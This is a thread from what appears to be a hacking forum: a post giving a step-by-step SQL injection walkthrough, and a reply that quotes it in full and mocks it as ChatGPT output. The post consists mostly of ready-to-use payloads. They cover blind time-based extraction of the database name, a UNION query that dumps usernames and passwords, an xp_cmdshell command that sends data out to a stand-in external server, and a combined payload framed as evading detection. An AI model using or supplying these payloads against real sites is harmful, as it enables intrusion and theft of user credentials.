SQL injection
by Boat - Monday November 11, 2024 at 09:28 AM
#1
Initial Test for SQL Injection
  • First, test if the id parameter is vulnerable by introducing a simple payload:
    bash
    http://example.com/product?id=5'
  • If an error or unusual behavior appears, it indicates a potential SQL injection vulnerability.
Blind Injection with Conditional Delays
  • To confirm a blind SQL injection vulnerability, we can test with a time delay:
         
http://example.com/product?id=5 AND IF(1=1, SLEEP(5), 0)--
         
  • If the page takes significantly longer to load, it confirms the vulnerability. We can now proceed to extract data by using conditional logic.

Extract Database Name Using Time-Based Boolean Inference
Blind injection works by observing time delays based on conditions. Here’s how we can retrieve the database name character-by-character:

Start by checking the first letter of the database name:
http://example.com/product?id=5 AND IF(SUBSTRING(DATABASE(),1,1)='a', SLEEP(5), 0)--
  • If the response is delayed, it means the first character of the database name is a. If not, change a to b, c, etc., until you find the correct character.
  • Repeat this process for each position to gradually determine the full name of the database.

4. Extract User Information with UNION-Based Injection
Once we know the database name, we can use a UNION attack to retrieve user data. Suppose the database has a table named users with columns username and password.

http://example.com/product?id=5 UNION SELECT NULL, username, password FROM users--
If successful, this will return a list of usernames and passwords from the users table on the page.
5. Out-of-Band Data Extraction
If xp_cmdshell (in SQL Server) or similar commands are available, we can use out-of-band techniques to extract data to an external server. For example, in MSSQL:
http://example.com/product?id=5; EXEC xp_cmdshell('nslookup yourserver.com')--

6. Final Payload for Complex Data Extraction
Combine UNION, conditional delays, and blind SQL injection to extract entire tables without alerting the system.
For example, extracting sensitive data with a payload like this:
http://example.com/product?id=5 UNION SELECT NULL, username, password FROM users WHERE username='admin' AND IF(ASCII(SUBSTRING(password,1,1))=109, SLEEP(5), 0)--
Reply
#2
(11-11-2024, 09:28 AM)Boat Wrote: Initial Test for SQL Injection
  • First, test if the id parameter is vulnerable by introducing a simple payload:
    bash
    http://example.com/product?id=5'
  • If an error or unusual behavior appears, it indicates a potential SQL injection vulnerability.
Blind Injection with Conditional Delays
  • To confirm a blind SQL injection vulnerability, we can test with a time delay:
         
http://example.com/product?id=5 AND IF(1=1, SLEEP(5), 0)--
         
  • If the page takes significantly longer to load, it confirms the vulnerability. We can now proceed to extract data by using conditional logic.

Extract Database Name Using Time-Based Boolean Inference
Blind injection works by observing time delays based on conditions. Here’s how we can retrieve the database name character-by-character:

Start by checking the first letter of the database name:
http://example.com/product?id=5 AND IF(SUBSTRING(DATABASE(),1,1)='a', SLEEP(5), 0)--
  • If the response is delayed, it means the first character of the database name is a. If not, change a to b, c, etc., until you find the correct character.
  • Repeat this process for each position to gradually determine the full name of the database.

4. Extract User Information with UNION-Based Injection
Once we know the database name, we can use a UNION attack to retrieve user data. Suppose the database has a table named users with columns username and password.

http://example.com/product?id=5 UNION SELECT NULL, username, password FROM users--
If successful, this will return a list of usernames and passwords from the users table on the page.
5. Out-of-Band Data Extraction
If xp_cmdshell (in SQL Server) or similar commands are available, we can use out-of-band techniques to extract data to an external server. For example, in MSSQL:
http://example.com/product?id=5; EXEC xp_cmdshell('nslookup yourserver.com')--

6. Final Payload for Complex Data Extraction
Combine UNION, conditional delays, and blind SQL injection to extract entire tables without alerting the system.
For example, extracting sensitive data with a payload like this:
http://example.com/product?id=5 UNION SELECT NULL, username, password FROM users WHERE username='admin' AND IF(ASCII(SUBSTRING(password,1,1))=109, SLEEP(5), 0)--


UNION SELECT NULL, username, password FROM users WHERE username='admin' AND IF(ASCII(SUBSTRING(password,1,1))=109, SLEEP(5), 0)-
µ

NICE TRYYY CVE IUS INVALID CHATGPT AHAHAA
This forum account is currently banned. Ban Length: (Permanent)
Ban Reason: Attempted Scamming Thread-DATABASE-Database-Empik-com-Poland-11-825-92 | http://breached26tezcofqla4adzyn22notfqw...an-Appeals if you feel this is incorrect.
Reply


Possibly Related Threads…
Thread Author Replies Views Last Post
  Google Dorks for finding SQL injection vulnerabilities and other security issues 1yush 43 1,744 1 hour ago
Last Post: v3nuzc0d3r2325
  [WordPress] Contact Form - SQL Injection Vuln Friday 147 18,154 08-04-2025, 04:20 AM
Last Post: 1blackman
  SmartAgent 1.1.0 SQL Injection result 17 3,154 04-07-2025, 07:42 PM
Last Post: mihabe
  Dokan Pro Unauthenticated SQL Injection POC | CVSS 10 Loki 35 3,121 04-07-2025, 02:00 PM
Last Post: gagoatk
  [Exploit] CVE-2024-3273 : Remote Command Injection trampoline 37 10,051 02-26-2025, 03:26 PM
Last Post: PWN-WP

Forum Jump:


 Users browsing this thread: